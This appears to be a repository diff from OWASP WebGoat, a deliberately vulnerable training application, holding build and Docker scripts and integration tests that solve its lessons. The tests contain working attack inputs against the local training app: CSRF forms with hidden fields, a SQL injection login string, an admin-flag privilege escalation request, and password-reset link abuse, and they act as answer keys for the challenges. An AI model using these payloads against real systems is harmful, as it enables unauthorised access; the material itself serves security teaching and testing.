|
||||
|
||||
Additionally, Each IaaS/PaaS will have their deployment steps broken down giving the *app-guy-new-to-cloud* an opportunity to learn how said platform works.
|
||||
|
||||
|
||||
|
||||
## AWS
|
||||
|
||||
Multi-Part Quickstart. Starts with simple pipeline that just builds code to a deploying onto EC2 instances and then containers using ECS/ECR
|
||||
|
||||
## GCP
|
||||
|
||||
Get WebGoat Running on GKE and AppEngine
|
||||
|
||||
|
||||
|
||||
|
34
scripts/build-all.sh
Executable file
34
scripts/build-all.sh
Executable file
@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
cd ..
|
||||
|
||||
nc -zv 127.0.0.1 8080 2>/dev/null
|
||||
SUCCESS=$?
|
||||
nc -zv 127.0.0.1 9090 2>/dev/null
|
||||
SUCCESS=${SUCCESS}$?
|
||||
|
||||
if [[ "${SUCCESS}" -eq 0 ]] ; then
|
||||
echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
|
||||
exit 127
|
||||
fi
|
||||
|
||||
|
||||
sh mvnw clean install
|
||||
if [[ "$?" -ne 0 ]] ; then
|
||||
exit y$?
|
||||
fi
|
||||
|
||||
cd -
|
||||
sh build_docker.sh
|
||||
if [[ "$?" -ne 0 ]] ; then
|
||||
exit y$?
|
||||
fi
|
||||
|
||||
while true; do
|
||||
read -p "Do you want to run docker-compose?" yn
|
||||
case ${yn} in
|
||||
[Yy]* ) sh clean-run-docker-compose.sh; break;;
|
||||
[Nn]* ) exit;;
|
||||
* ) echo "Please answer yes or no.";;
|
||||
esac
|
||||
done
|
10
scripts/build_docker.sh
Normal file
10
scripts/build_docker.sh
Normal file
@ -0,0 +1,10 @@
|
||||
#!/bin/bash
|
||||
|
||||
WEBGOAT_HOME=$(pwd)/../
|
||||
|
||||
cd "${WEBGOAT_HOME}"/webgoat-server
|
||||
docker build -t webgoat/webgoat-v8.0.0.snapshot .
|
||||
|
||||
cd "${WEBGOAT_HOME}"/webwolf
|
||||
docker build -t webgoat/webwolf-v8.0.0.snapshot .
|
||||
|
5
scripts/clean-run-docker-compose.sh
Normal file
5
scripts/clean-run-docker-compose.sh
Normal file
@ -0,0 +1,5 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
cd ..
|
||||
docker-compose rm -f
|
||||
docker-compose -f docker-compose-local.yml up
|
16
scripts/deploy-webgoat.sh
Normal file
16
scripts/deploy-webgoat.sh
Normal file
@ -0,0 +1,16 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
docker login -u $DOCKER_USER -p $DOCKER_PASS
|
||||
|
||||
export REPO=webgoat/goatandwolf
|
||||
cd ..
|
||||
cd docker
|
||||
ls target/
|
||||
|
||||
if [ ! -z "${TRAVIS_TAG}" ]; then
|
||||
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
||||
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
||||
docker push $REPO
|
||||
else
|
||||
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
||||
fi
|
4
scripts/run-docker-compose.sh
Normal file
4
scripts/run-docker-compose.sh
Normal file
@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
cd ..
|
||||
docker-compose up
|
18
scripts/start.sh
Normal file
18
scripts/start.sh
Normal file
@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
DATABASE_PORT=9001
|
||||
|
||||
checkDatabaseAvailable(){
|
||||
|
||||
#for i in $(seq 1 5); do command && s=0 && break || s=$? && sleep 15; done; (exit $s)
|
||||
local started = $(netstat -lnt | grep ${DATABASE_PORT})
|
||||
echo $?
|
||||
}
|
||||
|
||||
#java -Djava.security.egd=file:/dev/./urandom -jar home/webgoat/webgoat.jar --server.address=0.0.0.0
|
||||
$(checkDatabaseAvailable)
|
||||
|
||||
|
||||
#java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar --server.port=9090 --server.address=0.0.0.0
|
||||
|
||||
|
@ -1,40 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat;
|
||||
|
||||
public record ServerUrlConfig(String host, String port, String contextPath) {
|
||||
|
||||
public ServerUrlConfig {
|
||||
contextPath = contextPath.replaceAll("/", "");
|
||||
}
|
||||
|
||||
public String getBaseUrl() {
|
||||
return "http://%s:%s".formatted(host, port);
|
||||
}
|
||||
|
||||
public String url(String path) {
|
||||
return "%s/%s".formatted(getFullUrl(), path);
|
||||
}
|
||||
|
||||
private String getFullUrl() {
|
||||
return "http://%s:%s/%s".formatted(host, port, contextPath);
|
||||
}
|
||||
|
||||
public static ServerUrlConfig webGoat() {
|
||||
return new ServerUrlConfig(
|
||||
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
|
||||
}
|
||||
|
||||
public static ServerUrlConfig webWolf() {
|
||||
return new ServerUrlConfig(
|
||||
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
|
||||
}
|
||||
|
||||
private static String env(String variableName, String defaultValue) {
|
||||
return System.getenv().getOrDefault(variableName, "").isEmpty()
|
||||
? defaultValue
|
||||
: System.getenv(variableName);
|
||||
}
|
||||
}
|
@ -1,89 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Map;
|
||||
import org.apache.http.HttpStatus;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
class AccessControlIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
void testLesson() {
|
||||
startLesson("MissingFunctionAC", true);
|
||||
assignment1();
|
||||
assignment2();
|
||||
assignment3();
|
||||
|
||||
checkResults("MissingFunctionAC");
|
||||
}
|
||||
|
||||
private void assignment3() {
|
||||
// direct call should fail if user has not been created
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_FORBIDDEN);
|
||||
|
||||
// create user
|
||||
var userTemplate =
|
||||
"""
|
||||
{"username":"%s","password":"%s","admin": "true"}
|
||||
""";
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.body(String.format(userTemplate, this.getUser(), this.getUser()))
|
||||
.post(webGoatUrlConfig.url("access-control/users"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_OK);
|
||||
|
||||
// get the users
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
|
||||
private void assignment2() {
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(webGoatUrlConfig.url("access-control/users"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
|
||||
private void assignment1() {
|
||||
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
|
||||
checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
|
||||
}
|
||||
}
|
@ -1,287 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import lombok.Data;
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
|
||||
public class CSRFIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static final String trickHTML3 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
|
||||
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private static final String trickHTML4 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"validateReq\""
|
||||
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
|
||||
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
|
||||
+ "</form>\n"
|
||||
+ "</body></html>";
|
||||
|
||||
private static final String trickHTML7 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
|
||||
+ " method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\""
|
||||
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
|
||||
+ " is the best!!' value='\"}' />\n"
|
||||
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private static final String trickHTML8 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
|
||||
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private String webwolfFileDir;
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("CSRF");
|
||||
webwolfFileDir = getWebWolfFileServerLocation();
|
||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
|
||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
|
||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
|
||||
uploadTrickHtml(
|
||||
"csrf8.html",
|
||||
trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testCSRFLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
||||
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
||||
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() throws IOException {
|
||||
// logout();
|
||||
login(); // because old cookie got replaced and invalidated
|
||||
startLesson("CSRF", false);
|
||||
checkResults("CSRF");
|
||||
}
|
||||
|
||||
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
||||
|
||||
// remove any left over html
|
||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
|
||||
}
|
||||
|
||||
// upload trick html
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||
.post(webWolfUrlConfig.url("fileupload"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
}
|
||||
|
||||
private String callTrickHtml(String htmlName) {
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.substring(8 + result.indexOf("action=\""));
|
||||
result = result.substring(0, result.indexOf("\""));
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private void checkAssignment3(String goatURL) {
|
||||
String flag =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.path("flag")
|
||||
.toString();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment4(String goatURL) {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("reviewText", "test review");
|
||||
params.put("stars", "5");
|
||||
params.put(
|
||||
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
|
||||
|
||||
boolean result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
|
||||
.formParams(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.path("lessonCompleted");
|
||||
assertTrue(result);
|
||||
}
|
||||
|
||||
private void checkAssignment7(String goatURL) {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put(
|
||||
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
|
||||
+ " best!!",
|
||||
"\"}");
|
||||
|
||||
String flag =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
|
||||
.contentType(ContentType.TEXT)
|
||||
.body(
|
||||
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
|
||||
+ " the best!!=\"}")
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
||||
flag = flag.substring(0, flag.indexOf("\""));
|
||||
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment8(String goatURL) {
|
||||
|
||||
// first make sure there is an attack csrf- user
|
||||
registerCSRFUser();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("username", "csrf-" + this.getUser());
|
||||
params.put("password", "password");
|
||||
|
||||
// login and get the new cookie
|
||||
String newCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
|
||||
.params(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
|
||||
// select the lesson
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
// click on the assignment
|
||||
boolean result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.post(webGoatUrlConfig.url("csrf/login"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted");
|
||||
|
||||
assertThat(result).isTrue();
|
||||
|
||||
login();
|
||||
startLesson("CSRF", false);
|
||||
|
||||
Overview[] assignments =
|
||||
RestAssured.given()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.relaxedHTTPSValidation()
|
||||
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
|
||||
.then()
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.getObject("$", Overview[].class);
|
||||
assertThat(assignments)
|
||||
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
||||
.extracting(o -> o.solved)
|
||||
.containsExactly(true);
|
||||
}
|
||||
|
||||
@Data
|
||||
private static class Overview {
|
||||
Assignment assignment;
|
||||
boolean solved;
|
||||
}
|
||||
|
||||
/** Try to register the new user. Ignore the result. */
|
||||
private void registerCSRFUser() {
|
||||
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", "csrf-" + this.getUser())
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(webGoatUrlConfig.url("register.mvc"));
|
||||
}
|
||||
}
|
@ -1,147 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.http.HttpStatus;
|
||||
|
||||
public class ChallengeIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
void testChallenge1() {
|
||||
startLesson("Challenge1");
|
||||
|
||||
byte[] resultBytes =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("challenge/logo"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.asByteArray();
|
||||
|
||||
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "admin");
|
||||
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.post(webGoatUrlConfig.url("challenge/1"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||
params.clear();
|
||||
params.put("flag", flag);
|
||||
checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
|
||||
|
||||
checkResults("Challenge1");
|
||||
}
|
||||
|
||||
@Test
|
||||
void testChallenge5() {
|
||||
startLesson("Challenge5");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username_login", "Larry");
|
||||
params.put("password_login", "1' or '1'='1");
|
||||
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.post(webGoatUrlConfig.url("challenge/5"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||
params.clear();
|
||||
params.put("flag", flag);
|
||||
checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
|
||||
|
||||
checkResults("Challenge5");
|
||||
}
|
||||
|
||||
@Test
|
||||
void testChallenge7() {
|
||||
startLesson("Challenge7");
|
||||
cleanMailbox();
|
||||
|
||||
// One should first be able to download git.zip from WebGoat
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("challenge/7/.git"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
// Should email WebWolf inbox this should give a hint to the link being static
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("email", getUser() + "@webgoat.org")
|
||||
.post(webGoatUrlConfig.url("challenge/7"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
// Check whether email has been received
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("mail"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||
|
||||
// Call reset link with admin link
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(
|
||||
webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
|
||||
"375afe1104f4a487a73823c50a9292a2")
|
||||
.then()
|
||||
.statusCode(HttpStatus.ACCEPTED.value())
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
|
||||
checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
|
||||
}
|
||||
}
|
@ -1,160 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.fail;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.nio.charset.Charset;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.PrivateKey;
|
||||
import java.security.interfaces.RSAPrivateKey;
|
||||
import java.security.spec.InvalidKeySpecException;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import javax.xml.bind.DatatypeConverter;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
||||
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
||||
|
||||
public class CryptoIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("Cryptography");
|
||||
|
||||
checkAssignment2();
|
||||
checkAssignment3();
|
||||
|
||||
// Assignment 4
|
||||
try {
|
||||
checkAssignment4();
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
fail();
|
||||
}
|
||||
|
||||
try {
|
||||
checkAssignmentSigning();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
fail();
|
||||
}
|
||||
|
||||
checkAssignmentDefaults();
|
||||
|
||||
checkResults("Cryptography");
|
||||
}
|
||||
|
||||
private void checkAssignment2() {
|
||||
|
||||
String basicEncoding =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("crypto/encoding/basic"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
||||
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
||||
String answer_user = decodedString.split(":")[0];
|
||||
String answer_pwd = decodedString.split(":")[1];
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_user", answer_user);
|
||||
params.put("answer_pwd", answer_pwd);
|
||||
checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment3() {
|
||||
String answer_1 = "databasepassword";
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_pwd1", answer_1);
|
||||
checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment4() throws NoSuchAlgorithmException {
|
||||
|
||||
String md5Hash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("crypto/hashing/md5"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String sha256Hash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("crypto/hashing/sha256"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String answer_1 = "unknown";
|
||||
String answer_2 = "unknown";
|
||||
for (String secret : HashingAssignment.SECRETS) {
|
||||
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
|
||||
answer_1 = secret;
|
||||
}
|
||||
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
|
||||
answer_2 = secret;
|
||||
}
|
||||
}
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_pwd1", answer_1);
|
||||
params.put("answer_pwd2", answer_2);
|
||||
checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
||||
|
||||
String privatePEM =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("crypto/signing/getprivate"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
||||
|
||||
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
||||
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
|
||||
String signature = CryptoUtil.signMessage(modulus, privateKey);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("modulus", modulus);
|
||||
params.put("signature", signature);
|
||||
checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignmentDefaults() {
|
||||
|
||||
String text =
|
||||
new String(
|
||||
Base64.getDecoder()
|
||||
.decode(
|
||||
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
|
||||
.getBytes(Charset.forName("UTF-8"))));
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
